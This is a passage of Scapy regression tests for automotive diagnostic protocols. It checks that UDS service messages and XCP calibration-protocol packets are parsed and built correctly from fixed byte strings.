rsdbpipr.answers(rsdbpi) = Check UDS_DDDI dddi = UDS(b'\x2c\x12coffee') assert dddi.service == 0x2c assert dddi.subFunction == 0x12 assert dddi.dataRecord == b'coffee' = Check UDS_DDDIPR dddipr = UDS(b'\x6c\x12\x44\x55') assert dddipr.service == 0x6c assert dddipr.subFunction == 0x12 assert dddipr.dynamicallyDefinedDataIdentifier == 0x4455 assert dddipr.answers(dddi) = Check UDS_WDBI wdbi = UDS(b'\x2e\x01\x02dieselgate') assert wdbi.service == 0x2e assert wdbi.dataIdentifier == 0x0102 assert wdbi.load == b'dieselgate' = Build UDS_WDBI wdbi = UDS()/UDS_WDBI(dataIdentifier=0x0102)/Raw(load=b'dieselgate') assert wdbi.service == 0x2e assert wdbi.dataIdentifier == 0x0102 assert wdbi.load == b'dieselgate' assert bytes(wdbi) == b'\x2e\x01\x02dieselgate' = Check UDS_WDBI wdbi = UDS(b'\x2e\x01\x02dieselgate') assert wdbi.service == 0x2e assert wdbi.dataIdentifier == 0x0102 assert wdbi.load == b'dieselgate' wdbi = UDS(b'\x2e\x02\x02benzingate') assert wdbi.service == 0x2e assert wdbi.dataIdentifier == 0x0202 assert wdbi.load == b'benzingate' = Check UDS_WDBIPR wdbipr = UDS(b'\x6e\x02\x02') assert wdbipr.service == 0x6e assert wdbipr.dataIdentifier == 0x0202 assert wdbipr.answers(wdbi) = Check UDS_WMBA wmba = UDS(b'\x3d\x11\x02\x02muchData') assert wmba.service == 0x3d assert wmba.memorySizeLen == 1 assert wmba.memoryAddressLen == 1 assert wmba.memoryAddress1 == 2 assert wmba.memorySize1 == 2 assert wmba.dataRecord == b'muchData' = Check UDS_WMBAPR wmbapr = UDS(b'\x7d\x11\x02\x02') assert wmbapr.service == 0x7d assert wmbapr.memorySizeLen == 1 assert wmbapr.memoryAddressLen == 1 assert wmbapr.memoryAddress1 == 2 assert wmbapr.memorySize1 == 2 assert wmbapr.answers(wmba) = Check UDS_WMBA wmba = UDS(b'\x3d\x22\x02\x02\x03\x03muchData') assert wmba.service == 0x3d assert wmba.memorySizeLen == 2 assert wmba.memoryAddressLen == 2 assert wmba.memoryAddress2 == 0x202 assert wmba.memorySize2 == 0x303 assert wmba.dataRecord == b'muchData' = Check UDS_WMBAPR wmbapr = UDS(b'\x7d\x22\x02\x02\x03\x03') assert wmbapr.service == 0x7d assert wmbapr.memorySizeLen == 2 assert wmbapr.memoryAddressLen == 2 assert wmbapr.memoryAddress2 == 0x202 assert wmbapr.memorySize2 == 0x303 assert wmbapr.answers(wmba) = Check UDS_WMBA wmba = UDS(b'\x3d\x33\x02\x02\x02\x03\x03\x03muchData') assert wmba.service == 0x3d assert wmba.memorySizeLen == 3 assert wmba.memoryAddressLen == 3 assert wmba.memoryAddress3 == 0x20202 assert wmba.memorySize3 == 0x30303 assert wmba.dataRecord == b'muchData' = Check UDS_WMBA wmba = UDS(b'\x3d\x44\x02\x02\x02\x02\x03\x03\x03\x03muchData') assert wmba.service == 0x3d assert wmba.memorySizeLen == 4 assert wmba.memoryAddressLen == 4 assert wmba.memoryAddress4 == 0x2020202 assert wmba.memorySize4 == 0x3030303 assert wmba.dataRecord == b'muchData' = Check UDS_WMBAPR wmbapr = UDS(b'\x7d\x33\x02\x02\x02\x03\x03\x03') assert wmbapr.service == 0x7d assert wmbapr.memorySizeLen == 3 assert wmbapr.memoryAddressLen == 3 assert wmbapr.memoryAddress3 == 0x20202 assert wmbapr.memorySize3 == 0x30303 assert not wmbapr.answers(wmba) = Check UDS_WMBAPR wmbapr = UDS(b'\x7d\x44\x02\x02\x02\x02\x03\x03\x03\x03') assert wmbapr.service == 0x7d assert wmbapr.memorySizeLen == 4 assert wmbapr.memoryAddressLen == 4 assert wmbapr.memoryAddress4 == 0x2020202 assert wmbapr.memorySize4 == 0x3030303 assert wmbapr.answers(wmba) = Check UDS_CDTCI cdtci = UDS(b'\x14\x44\x02\x03') assert cdtci.service == 0x14 assert cdtci.groupOfDTCHighByte == 0x44 assert cdtci.groupOfDTCMiddleByte == 0x02 assert cdtci.groupOfDTCLowByte == 0x3 = Check UDS_RDTCI rdtci = UDS(b'\x19\x44') assert rdtci.service == 0x19 assert rdtci.reportType == 0x44 = Check UDS_RDTCI rdtci = UDS(b'\x19\x01\xff') assert rdtci.service == 0x19 assert rdtci.reportType == 0x01 assert rdtci.DTCStatusMask == 0xff = Check UDS_RDTCIPR rdtcipr = UDS(b'\x59\x01\xff\xee\xdd\xaa') assert rdtcipr.service == 0x59 assert rdtcipr.reportType == 1 assert rdtcipr.DTCStatusAvailabilityMask == 0xff assert rdtcipr.DTCFormatIdentifier == 0xee assert rdtcipr.DTCCount == 0xddaa assert rdtcipr.answers(rdtci) rdtcipr1 = UDS(b'\x59\x02\xff\x11\x07\x11\'\x022\x12\'\x01\x07\x11\'\x01\x18\x12\'\x01\x13\x12\'\x01"\x11\'\x06C\x00\'\x06S\x00\'\x161\x00\'\x14\x03\x12\'') assert len(rdtcipr1.DTCAndStatusRecord) == 10 assert rdtcipr1.DTCAndStatusRecord[0].dtc.system == 0 assert rdtcipr1.DTCAndStatusRecord[0].dtc.type == 1 assert rdtcipr1.DTCAndStatusRecord[0].dtc.numeric_value_code == 263 assert rdtcipr1.DTCAndStatusRecord[0].dtc.additional_information_code == 17 assert rdtcipr1.DTCAndStatusRecord[0].status == 0x27 assert rdtcipr1.DTCAndStatusRecord[-1].dtc.system == 0 assert rdtcipr1.DTCAndStatusRecord[-1].dtc.type == 1 assert rdtcipr1.DTCAndStatusRecord[-1].dtc.numeric_value_code == 1027 assert rdtcipr1.DTCAndStatusRecord[-1].dtc.additional_information_code == 18 assert rdtcipr1.DTCAndStatusRecord[-1].status == 0x27 = Check UDS_RDTCI rdtci = UDS(b'\x19\x02\xff') assert rdtci.service == 0x19 assert rdtci.reportType == 0x02 assert rdtci.DTCStatusMask == 0xff = Check UDS_RDTCI rdtci = UDS(b'\x19\x0f\xff') assert rdtci.service == 0x19 assert rdtci.reportType == 0x0f assert rdtci.DTCStatusMask == 0xff = Check UDS_RDTCI rdtci = UDS(b'\x19\x11\xff') assert rdtci.service == 0x19 assert rdtci.reportType == 0x11 assert rdtci.DTCStatusMask == 0xff = Check UDS_RDTCI rdtci = UDS(b'\x19\x12\xff') assert rdtci.service == 0x19 assert rdtci.reportType == 0x12 assert rdtci.DTCStatusMask == 0xff = Check UDS_RDTCI rdtci = UDS(b'\x19\x13\xff') assert rdtci.service == 0x19 assert rdtci.reportType == 0x13 assert rdtci.DTCStatusMask == 0xff = Check UDS_RDTCI rdtci = UDS(b'\x19\x03\xff\xee\xdd\xaa') assert rdtci.service == 0x19 assert rdtci.reportType == 0x03 assert rdtci.dtc == DTC(bytes.fromhex("ffeedd")) assert rdtci.DTCSnapshotRecordNumber == 0xaa = Check UDS_RDTCI rdtci = UDS(b'\x19\x04\xff\xee\xdd\xaa') assert rdtci.service == 0x19 assert rdtci.reportType == 0x04 assert rdtci.dtc == DTC(bytes.fromhex("ffeedd")) assert rdtci.DTCSnapshotRecordNumber == 0xaa = Check UDS_RDTCI rdtci = UDS(b'\x19\x05\xaa') assert rdtci.service == 0x19 assert rdtci.reportType == 0x05 assert rdtci.DTCSnapshotRecordNumber == 0xaa = Check UDS_RDTCI rdtci = UDS(b'\x19\x06\xff\xee\xdd\xaa') assert rdtci.service == 0x19 assert rdtci.reportType == 0x06 assert rdtci.dtc == DTC(bytes.fromhex("ffeedd")) assert rdtci.DTCExtendedDataRecordNumber == 0xaa = Check UDS_RDTCI rdtci = UDS(b'\x19\x07\xaa\xbb') assert rdtci.service == 0x19 assert rdtci.reportType == 0x07 assert rdtci.DTCSeverityMask == 0xaa assert rdtci.DTCStatusMask == 0xbb = Check UDS_RDTCI rdtci = UDS(b'\x19\x08\xaa\xbb') assert rdtci.service == 0x19 assert rdtci.reportType == 0x08 assert rdtci.DTCSeverityMask == 0xaa assert rdtci.DTCStatusMask == 0xbb = Check UDS_RDTCI rdtci = UDS(b'\x19\x09\xff\xee\xdd') assert rdtci.service == 0x19 assert rdtci.reportType == 0x09 assert rdtci.dtc == DTC(bytes.fromhex("ffeedd")) = Check UDS_RDTCI rdtci = UDS(b'\x19\x10\xff\xee\xdd\xaa') assert rdtci.service == 0x19 assert rdtci.reportType == 0x10 assert rdtci.dtc == DTC(bytes.fromhex("ffeedd")) assert rdtci.DTCExtendedDataRecordNumber == 0xaa = Check UDS_RDTCIPR rdtcipr = UDS(b'\x59\x02\xff\xee\xdd\xaa\x02') rdtcipr.show() assert rdtcipr.service == 0x59 assert rdtcipr.reportType == 2 assert rdtcipr.DTCStatusAvailabilityMask == 0xff assert rdtcipr.DTCAndStatusRecord[0].dtc.system == 3 assert rdtcipr.DTCAndStatusRecord[0].dtc.type == 2 assert rdtcipr.DTCAndStatusRecord[0].dtc.numeric_value_code == 3805 assert rdtcipr.DTCAndStatusRecord[0].dtc.additional_information_code == 170 assert rdtcipr.DTCAndStatusRecord[0].status == 2 assert not rdtcipr.answers(rdtci) = Check UDS_RDTCIPR extended data p = UDS(b'Y\x06\x80SV`\x01\x00\x02\x01\x03\x15') assert len(p.extendedDataRecord.extendedData) == 3 assert p.extendedDataRecord.extendedData[0].data_type == 1 assert p.extendedDataRecord.extendedData[1].data_type == 2 assert p.extendedDataRecord.extendedData[2].data_type == 3 assert p.extendedDataRecord.extendedData[0].record == 0 assert p.extendedDataRecord.extendedData[1].record == 1 assert p.extendedDataRecord.extendedData[2].record == 0x15 = Check UDS_RDTCIPR rdtcipr = UDS(b'\x59\x03\xff\xee\xdd\xaa') assert rdtcipr.service == 0x59 assert rdtcipr.reportType == 3 assert rdtcipr.dataRecord == b'\xff\xee\xdd\xaa' = Check UDS_RDTCIPR 2 req = UDS(bytes.fromhex("1904480a46ff")) resp = UDS(bytes.fromhex("5904480a46af000b170002ff6417010a8278fa170c2ff1800000800104800200028003400a8004808005054002400a400004010b170002ff6417010a82ec69170c2f2c800000800100800200028003400a80048080050540024017400004")) assert resp.answers(req) req = UDS(bytes.fromhex("1904480a47ff")) resp = UDS(bytes.fromhex("5904480a46af000b170002ff6417010a8278fa170c2ff1800000800104800200028003400a8004808005054002400a400004010b170002ff6417010a82ec69170c2f2c800000800100800200028003400a80048080050540024017400004")) assert not resp.answers(req) req = UDS(bytes.fromhex("1906480a46ff")) resp = UDS(bytes.fromhex("5906480a46af010002070328")) assert resp.answers(req) = Check UDS_RC rc = UDS(b'\x31\x03\xff\xee\xdd\xaa') assert rc.service == 0x31 assert rc.routineControlType == 3 assert rc.routineIdentifier == 0xffee assert rc.load == b'\xdd\xaa' = Check UDS_RC rc = UDS(b'\x31\x03\xff\xee\xdd\xaa') assert rc.service == 0x31 assert rc.routineControlType == 3 assert rc.routineIdentifier == 0xffee assert rc.load == b'\xdd\xaa' = Check UDS_RCPR rcpr = UDS(b'\x71\x03\xff\xee\xdd\xaa') assert rcpr.service == 0x71 assert rcpr.routineControlType == 3 assert rcpr.routineIdentifier == 0xffee assert rcpr.load == b'\xdd\xaa' = Check UDS_RD rd = UDS(b'\x34\xaa\x11\x02\x02') assert rd.service == 0x34 assert rd.dataFormatIdentifier == 0xaa assert rd.memorySizeLen == 1 assert rd.memoryAddressLen == 1 assert rd.memoryAddress1 == 2 assert rd.memorySize1 == 2 = Check UDS_RD rd = UDS(b'\x34\xaa\x22\x02\x02\x03\x03') assert rd.service == 0x34 assert rd.dataFormatIdentifier == 0xaa assert rd.memorySizeLen == 2 assert rd.memoryAddressLen == 2 assert rd.memoryAddress2 == 0x202 assert rd.memorySize2 == 0x303 = Check UDS_RD rd = UDS(b'\x34\xaa\x33\x02\x02\x02\x03\x03\x03') assert rd.service == 0x34 assert rd.dataFormatIdentifier == 0xaa assert rd.memorySizeLen == 3 assert rd.memoryAddressLen == 3 assert rd.memoryAddress3 == 0x20202 assert rd.memorySize3 == 0x30303 = Check UDS_RD rd = UDS(b'\x34\xaa\x44\x02\x02\x02\x02\x03\x03\x03\x03') assert rd.service == 0x34 assert rd.dataFormatIdentifier == 0xaa assert rd.memorySizeLen == 4 assert rd.memoryAddressLen == 4 assert rd.memoryAddress4 == 0x2020202 assert rd.memorySize4 == 0x3030303 = Check UDS_RDPR rdpr = UDS(b'\x74\x40\x02\x02\x02\x02\x03\x03\x03\x03') assert rdpr.service == 0x74 assert rdpr.memorySizeLen == 4 assert rdpr.reserved == 0 assert rdpr.maxNumberOfBlockLength == b'\x02\x02\x02\x02\x03\x03\x03\x03' assert rdpr.answers(rd) = Check UDS_RU ru = UDS(b'\x35\xaa\x11\x02\x02') assert ru.service == 0x35 assert ru.dataFormatIdentifier == 0xaa assert ru.memorySizeLen == 1 assert ru.memoryAddressLen == 1 assert ru.memoryAddress1 == 2 assert ru.memorySize1 == 2 = Check UDS_RU ru = UDS(b'\x35\xaa\x22\x02\x02\x03\x03') assert ru.service == 0x35 assert ru.dataFormatIdentifier == 0xaa assert ru.memorySizeLen == 2 assert ru.memoryAddressLen == 2 assert ru.memoryAddress2 == 0x202 assert ru.memorySize2 == 0x303 = Check UDS_RU ru = UDS(b'\x35\xaa\x33\x02\x02\x02\x03\x03\x03') assert ru.service == 0x35 assert ru.dataFormatIdentifier == 0xaa assert ru.memorySizeLen == 3 assert ru.memoryAddressLen == 3 assert ru.memoryAddress3 == 0x20202 assert ru.memorySize3 == 0x30303 = Check UDS_RU ru = UDS(b'\x35\xaa\x44\x02\x02\x02\x02\x03\x03\x03\x03') assert ru.service == 0x35 assert ru.dataFormatIdentifier == 0xaa assert ru.memorySizeLen == 4 assert ru.memoryAddressLen == 4 assert ru.memoryAddress4 == 0x2020202 assert ru.memorySize4 == 0x3030303 = Check UDS_RUPR rupr = UDS(b'\x75\x40\x02\x02\x02\x02\x03\x03\x03\x03') assert rupr.service == 0x75 assert rupr.memorySizeLen == 4 assert rupr.reserved == 0 assert rupr.maxNumberOfBlockLength == b'\x02\x02\x02\x02\x03\x03\x03\x03' assert rupr.answers(ru) = Check UDS_TD td = UDS(b'\x36\xaapayload') assert td.service == 0x36 assert td.blockSequenceCounter == 0xaa assert td.transferRequestParameterRecord == b'payload' = Check UDS_TD td = UDS(b'\x36\xaapayload') assert td.service == 0x36 assert td.blockSequenceCounter == 0xaa assert td.transferRequestParameterRecord == b'payload' = Check UDS_TDPR tdpr = UDS(b'\x76\xaapayload') assert tdpr.service == 0x76 assert tdpr.blockSequenceCounter == 0xaa assert tdpr.transferResponseParameterRecord == b'payload' assert tdpr.answers(td) = Check UDS_RTE rte = UDS(b'\x37payload') assert rte.service == 0x37 assert rte.transferRequestParameterRecord == b'payload' = Check UDS_RTEPR rtepr = UDS(b'\x77payload') assert rtepr.service == 0x77 assert rtepr.transferResponseParameterRecord == b'payload' assert rtepr.answers(rte) = Check UDS_IOCBI iocbi = UDS(b'\x2f\x23\x34\xffcoffee') assert iocbi.service == 0x2f assert iocbi.dataIdentifier == 0x2334 assert iocbi.load == b'\xffcoffee' = Check UDS_RFT rft = UDS(b'\x38\x01\x00\x1ED:\\mapdata\\europe\\germany1.yxz\x11\x02\xC3\x50\x75\x30') assert rft.service == 0x38 assert rft.modeOfOperation == 0x01 assert rft.filePathAndNameLength == 0x001e assert rft.filePathAndName == b'D:\\mapdata\\europe\\germany1.yxz' assert rft.compressionMethod == 1 assert rft.encryptingMethod == 1 assert rft.fileSizeParameterLength == 0x02 assert rft.fileSizeUnCompressed == b'\xc3\x50' assert rft.fileSizeCompressed == b'\x75\x30' = Build UDS_RFT rft_build = UDS()/UDS_RFT(modeOfOperation=0x1, filePathAndName=(b'D:\\mapdata\\europe\\' + b'germany1.yxz'), compressionMethod=1, encryptingMethod=1, fileSizeUnCompressed=b'\xc3\x50', fileSizeCompressed=b'\x75\x30') assert bytes(rft_build) == bytes(rft) = Check UDS_RFTPR rftpr = UDS(b'\x78\x01\x02\xc3\x50\x11') assert rftpr.service == 0x78 assert rftpr.modeOfOperation == 0x01 assert rftpr.lengthFormatIdentifier == 0x02 assert rftpr.maxNumberOfBlockLength == b'\xc3\x50' assert rftpr.compressionMethod == 1 assert rftpr.encryptingMethod == 1 assert rftpr.answers(rft) = Build UDS_RFTPR rftpr_build = UDS()/UDS_RFTPR(modeOfOperation=0x1, maxNumberOfBlockLength=b'\xc3\x50', compressionMethod=1, encryptingMethod=1) assert bytes(rftpr_build) == bytes(rftpr) = Check (invalid) UDS_NRC, no reply-to service nrc = UDS(b'\x7f') assert nrc.service == 0x7f = Check UDS_NRC nrc = UDS(b'\x7f\x22\x33') assert nrc.service == 0x7f assert nrc.requestServiceId == 0x22 assert nrc.negativeResponseCode == 0x33 ================================================ FILE: test/contrib/automotive/xcp/xcp.uts ================================================ % Regression tests for the XCP # More information at http://www.secdev.org/projects/UTscapy/ ############ ############ + Basic operations = Load module load_layer("can", globals_dict=globals()) conf.contribs['CAN']['swap-bytes'] = False load_contrib("automotive.xcp.xcp", globals_dict=globals()) = Test padding conf.contribs["XCP"]["add_padding_for_can"] = True pkt = XCPOnCAN(identifier=0x700) / CTORequest() / Connect() build_pkt = bytes(pkt) hexdump(build_pkt) assert build_pkt == b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\xcc\xcc\xcc\xcc\xcc\xcc' conf.contribs["XCP"]["add_padding_for_can"] = False = test_get_com_mode_info conf.contribs["XCP"]["add_padding_for_can"] = False cto_request = CTORequest() / GetCommModeInfo() assert cto_request.pid == 0xfb assert bytes(cto_request) == b'\xfb' cto_response = CTOResponse(b'\xff\x00\x01\x00\x02\x00\x00\x64') assert cto_response.packet_code == 0xFF assert cto_response.answers(cto_request) get_comm_mode_info_response = cto_response["CommonModeInfoPositiveResponse"] assert "master_block_mode" in get_comm_mode_info_response.comm_mode_optional assert get_comm_mode_info_response.max_bs == 0x02 assert get_comm_mode_info_response.min_st == 0x00 assert get_comm_mode_info_response.xcp_driver_version_number == 0x64 = test_get_status cto_request = CTORequest() / GetStatus() assert cto_request.pid == 0xfd assert bytes(cto_request) == b'\xfd' cto_response = CTOResponse(b'\xff\x00\x15\x00\x00\x00') assert cto_response.packet_code == 0xFF assert cto_response.answers(cto_request) get_comm_mode_info_response = cto_response["StatusPositiveResponse"] assert get_comm_mode_info_response.current_session_status == 0x00 assert "cal_pag" in get_comm_mode_info_response.current_resource_protection_status assert "x1" not in get_comm_mode_info_response.current_resource_protection_status assert "daq" in get_comm_mode_info_response.current_resource_protection_status assert "stim" not in get_comm_mode_info_response.current_resource_protection_status assert "pgm" in get_comm_mode_info_response.current_resource_protection_status assert "x5" not in get_comm_mode_info_response.current_resource_protection_status assert "x6" not in get_comm_mode_info_response.current_resource_protection_status assert "x7" not in get_comm_mode_info_response.current_resource_protection_status assert get_comm_mode_info_response.session_configuration_id == 0x0000 = test_get_seed conf.contribs['XCP']['MAX_CTO'] = 8 cto_request = CTORequest() / GetSeed(b'\x00\x01') assert cto_request.pid == 0xf8 assert bytes(cto_request) == b'\xf8\x00\x01' cto_response = CTOResponse(b'\xff\x06\x00\x01\x02\x03\x04\x05') assert cto_response.packet_code == 0xFF assert cto_response.answers(cto_request) get_seed_response = cto_response["SeedPositiveResponse"] assert get_seed_response.seed_length == 0x06 assert get_seed_response.seed == b'\x00\x01\x02\x03\x04\x05' = test_unlock conf.contribs['XCP']['MAX_CTO'] = 8 cto_request = CTORequest() / Unlock(b'\x06\x69\xAB\xA6\x00\x00\x00') assert cto_request.pid == 0xf7 assert cto_request['Unlock'].len == 0x06 assert cto_request['Unlock'].seed == b'\x69\xAB\xA6\x00\x00\x00' assert bytes(cto_request) == b'\xf7\x06\x69\xAB\xA6\x00\x00\x00' cto_response = CTOResponse(b'\xff\x14') assert cto_response.packet_code == 0xFF assert cto_response.answers(cto_request) unlock_response = cto_response["UnlockPositiveResponse"] assert unlock_response.current_resource_protection_status == 0x14 assert "cal_pag" not in unlock_response.current_resource_protection_status assert "x1" not in unlock_response.current_resource_protection_status assert "daq" in unlock_response.current_resource_protection_status assert "stim" not in unlock_response.current_resource_protection_status assert "pgm" in unlock_response.current_resource_protection_status assert "x5" not in unlock_response.current_resource_protection_status assert "x6" not in unlock_response.current_resource_protection_status assert "x7" not in unlock_response.current_resource_protection_status = test_get_id conf.contribs['XCP']['byte_order'] = 0 cto_request = CTORequest() / GetId(b'\x01') assert cto_request.pid == 0xfa assert bytes(cto_request) == b'\xfa\x01' assert cto_request['GetId'].identification_type == 0x01 cto_response = CTOResponse(b'\xff\x00\x00\x00\x06\x00\x00\x00') assert cto_response.packet_code == 0xFF assert cto_response.answers(cto_request) get_id_response = cto_response["IdPositiveResponse"] assert get_id_response.mode == 0x00 assert get_id_response.length == 6 = test_upload conf.contribs['XCP']['MAX_CTO'] = 8 conf.contribs['XCP']['Address_Granularity_Byte'] = 1 cto_request = CTORequest() / Upload(b'\x06') assert cto_request.pid == 0xf5 assert bytes(cto_request) == b'\xf5\x06' assert cto_request['Upload'].nr_of_data_elements == 0x06 cto_response = CTOResponse(b'\xff\x58\x43\x50\x53\x49\x4D') assert cto_response.packet_code == 0xFF assert cto_response.answers(cto_request) upload_response = cto_response["UploadPositiveResponse"] assert upload_response.element == b'\x58\x43\x50\x53\x49\x4D' = test_cal_page cto_request = CTORequest() / GetCalPage(b'\x01\x00') assert cto_request.pid == 0xea assert bytes(cto_request) == b'\xea\x01\x00' cto_response = CTOResponse(b'\xff\x00\x00\x01') assert cto_response.packet_code == 0xFF assert cto_response.answers(cto_request) get_cal_page_response = cto_response["CalPagePositiveResponse"] assert get_cal_page_response.logical_data_page_number == 0x01 = test_set_mta conf.contribs['XCP']['byte_order'] = 0 cto_request = CTORequest() / SetMta(b'\xff\xff\x00\x3c\x00\x00\x00') assert cto_request.pid == 0xf6 assert bytes(cto_request) == b'\xf6\xff\xff\x00\x3c\x00\x00\x00' assert cto_request['SetMta'].address_extension == 0x00 assert cto_request['SetMta'].address == 0x3C cto_response = CTOResponse(b'\xff') assert cto_response.packet_code == 0xFF assert cto_response.answers(cto_request) = test_build_checksum conf.contribs['XCP']['byte_order'] = 0 cto_request = CTORequest() / BuildChecksum(b'\xff\xff\xff\xad\x0d\x00\x00') assert cto_request.pid == 0xf3 assert bytes(cto_request) == b'\xf3\xff\xff\xff\xad\x0d\x00\x00' assert hex(cto_request['BuildChecksum'].block_size) == '0xdad' cto_response = CTOResponse(b'\xff\x02\xff\xff\x2C\x87\x00\x00') assert cto_response.packet_code == 0xFF assert cto_response.answers(cto_request) build_checksum_response = cto_response["ChecksumPositiveResponse"] assert build_checksum_response.checksum_type == 0x02 assert hex(build_checksum_response.checksum) == '0x872c' = test_download conf.contribs['XCP']['byte_order'] = 0 conf.contribs['XCP']['MAX_CTO'] = 8 conf.contribs['XCP']['Address_Granularity_Byte'] = 1 cto_request = CTORequest() / Download(b'\x04\x00\x00\x80\x3f') assert cto_request.pid == 0xf0 assert bytes(cto_request) == b'\xf0\x04\x00\x00\x80\x3f' assert cto_request['Download'].nr_of_data_elements == 0x04 assert cto_request['Download'].data_elements == b'\x00\x00\x80\x3f' cto_response = CTOResponse(b'\xff') assert cto_response.packet_code == 0xFF assert cto_response.answers(cto_request) = test_short_upload conf.contribs['XCP']['byte_order'] = 0 conf.contribs['XCP']['MAX_CTO'] = 8 conf.contribs['XCP']['Address_Granularity_Byte'] = 1 cto_request = CTORequest() / ShortUpload(b'\04\xff\x00\x60\x00\x00\x00') assert cto_request.pid == 0xf4 assert bytes(cto_request) == b'\xf4\x04\xff\x00\x60\x00\x00\x00' assert cto_request['ShortUpload'].nr_of_data_elements == 0x04 assert cto_request['ShortUpload'].address_extension == 0x00 assert hex(cto_request['ShortUpload'].address) == '0x60' cto_response = CTOResponse(b'\xff\x00\x00\x80\x3F') assert cto_response.packet_code == 0xFF assert cto_response.answers(cto_request) upload_response = cto_response["ShortUploadPositiveResponse"] assert upload_response.element == b'\x00\x00\x80\x3F' = test_copy_cal_page cto_request = CTORequest() / CopyCalPage(b'\00\x01\x02\x03') assert cto_request.pid == 0xe4 assert bytes(cto_request) == b'\xe4\00\x01\x02\x03' assert cto_request['CopyCalPage'].segment_num_src == 0x00 assert cto_request['CopyCalPage'].page_num_src == 0x01 assert cto_request['CopyCalPage'].segment_num_dst == 0x02 assert cto_request['CopyCalPage'].page_num_dst == 0x03 cto_response = CTOResponse(b'\xff') assert cto_response.packet_code == 0xFF assert cto_response.answers(cto_request) = test_get_daq_processor_info conf.contribs['XCP']['byte_order'] = 0 cto_request = CTORequest() / GetDaqProcessorInfo() assert cto_request.pid == 0xda assert bytes(cto_request) == b'\xda' cto_response = CTOResponse(b'\xff\x11\x00\x00\x01\x00\x00\x40') assert cto_response.packet_code == 0xFF assert cto_response.answers(cto_request) processor_info_response = cto_response["DAQProcessorInfoPositiveResponse"] assert processor_info_response.daq_properties == 0x11 assert "daq_config_type" in processor_info_response.daq_properties assert "timestamp_supported" in processor_info_response.daq_properties assert "prescaler_supported" not in processor_info_response.daq_properties assert "resume_supported" not in processor_info_response.daq_properties assert "bit_stim_supported" not in processor_info_response.daq_properties assert "pid_off_supported" not in processor_info_response.daq_properties assert "overload_msb" not in processor_info_response.daq_properties assert "overload_event" not in processor_info_response.daq_properties assert processor_info_response.max_daq == 0x0000 assert processor_info_response.max_event_channel == 0x0001 assert processor_info_response.min_daq == 0x00 assert processor_info_response.daq_key_byte == 0x40 assert "optimisation_type_0" not in processor_info_response.daq_key_byte assert "optimisation_type_1" not in processor_info_response.daq_key_byte assert "optimisation_type_2" not in processor_info_response.daq_key_byte assert "optimisation_type_3" not in processor_info_response.daq_key_byte assert "identification_field_type_0" in processor_info_response.daq_key_byte assert "identification_field_type_1" not in processor_info_response.daq_key_byte assert "address_extension_odt" not in processor_info_response.daq_key_byte assert "address_extension_daq" not in processor_info_response.daq_key_byte assert "address_extension_daq" not in processor_info_response.daq_key_byte = test_daq_resolution_info conf.contribs['XCP']['byte_order'] = 0 cto_request = CTORequest() / GetDaqResolutionInfo() assert cto_request.pid == 0xd9 assert bytes(cto_request) == b'\xd9' cto_response = CTOResponse(b'\xff\x02\xfd\xff\xff\x62\x0a\x00') assert cto_response.packet_code == 0xFF assert cto_response.answers(cto_request) resolution_info_response = cto_response["DAQResolutionInfoPositiveResponse"] assert resolution_info_response.granularity_odt_entry_size_daq == 0x02 assert resolution_info_response.max_odt_entry_size_daq == 0xfd assert resolution_info_response.granularity_odt_entry_size_stim == 0xff assert resolution_info_response.max_odt_entry_size_stim == 0xff assert resolution_info_response.timestamp_mode == 0x62 assert "size_0" not in resolution_info_response.timestamp_mode assert "size_1" in resolution_info_response.timestamp_mode assert "size_2" not in resolution_info_response.timestamp_mode assert "timestamp_fixed" not in resolution_info_response.timestamp_mode assert "unit_0" not in resolution_info_response.timestamp_mode assert "unit_1" in resolution_info_response.timestamp_mode assert "unit_2" in resolution_info_response.timestamp_mode assert "unit_3" not in resolution_info_response.timestamp_mode assert resolution_info_response.timestamp_ticks == 0x000A = test_daq_event_info conf.contribs['XCP']['byte_order'] = 0 cto_request = CTORequest() / GetDaqEventInfo(b'\xff\x00\x00') assert cto_request.pid == 0xd7 assert bytes(cto_request) == b'\xd7\xff\x00\x00' assert cto_request['GetDaqEventInfo'].event_channel_num == 0x0000 cto_response = CTOResponse(b'\xFF\x04\x01\x05\x0A\x60\x00') assert cto_response.packet_code == 0xFF assert cto_response.answers(cto_request) event_info_response = cto_response["DAQEventInfoPositiveResponse"] assert event_info_response.daq_event_properties == 0x04 assert "x_0" not in event_info_response.daq_event_properties assert "x_1" not in event_info_response.daq_event_properties assert "daq" in event_info_response.daq_event_properties assert "stim" not in event_info_response.daq_event_properties assert "x_4" not in event_info_response.daq_event_properties assert "x_5" not in event_info_response.daq_event_properties assert "x_6" not in event_info_response.daq_event_properties assert "x_7" not in event_info_response.daq_event_properties assert event_info_response.max_daq_list == 0x01 assert event_info_response.event_channel_name_length == 0x05 assert event_info_response.event_channel_time_cycle == 0x0a assert event_info_response.event_channel_time_unit == 0x60 assert event_info_response.event_channel_priority == 0x00 = test_daq_list_info conf.contribs['XCP']['byte_order'] = 0 cto_request = CTORequest() / GetDaqListInfo(b'\xff\x00\x00') assert cto_request.pid == 0xd8 assert bytes(cto_request) == b'\xd8\xff\x00\x00' assert cto_request['GetDaqListInfo'].daq_list_num == 0x0000 cto_response = CTOResponse(b'\xFF\x04\x03\x0a\x00\x00') assert cto_response.packet_code == 0xFF assert cto_response.answers(cto_request) list_info_response = cto_response["DAQListInfoPositiveResponse"] assert list_info_response.daq_list_properties == 0x04 assert "predefined" not in list_info_response.daq_list_properties assert "event_fixed" not in list_info_response.daq_list_properties assert "daq" in list_info_response.daq_list_properties assert "stim" not in list_info_response.daq_list_properties assert "x_4" not in list_info_response.daq_list_properties assert "x_5" not in list_info_response.daq_list_properties assert "x_6" not in list_info_response.daq_list_properties assert "x_7" not in list_info_response.daq_list_properties assert list_info_response.max_odt == 0x03 assert list_info_response.max_odt_entries == 0x0a assert list_info_response.fixed_event == 0x00 = test_clear_daq_list conf.contribs['XCP']['byte_order'] = 0 cto_request = CTORequest() / ClearDaqList(b'\xff\x00\x00') assert cto_request.pid == 0xe3 assert bytes(cto_request) == b'\xe3\xff\x00\x00' assert cto_request['ClearDaqList'].daq_list_num == 0x0000 cto_response = CTOResponse(b'\xFF') assert cto_response.packet_code == 0xFF assert cto_response.answers(cto_request) = test_alloc_daq conf.contribs['XCP']['byte_order'] = 0 cto_request = CTORequest() / AllocDaq(b'\xff\x01\x00') assert cto_request.pid == 0xd5 assert bytes(cto_request) == b'\xd5\xff\x01\x00' assert cto_request['AllocDaq'].daq_count == 0x0001 cto_response = CTOResponse(b'\xFF') assert cto_response.packet_code == 0xFF assert cto_response.answers(cto_request) = test_alloc_odt 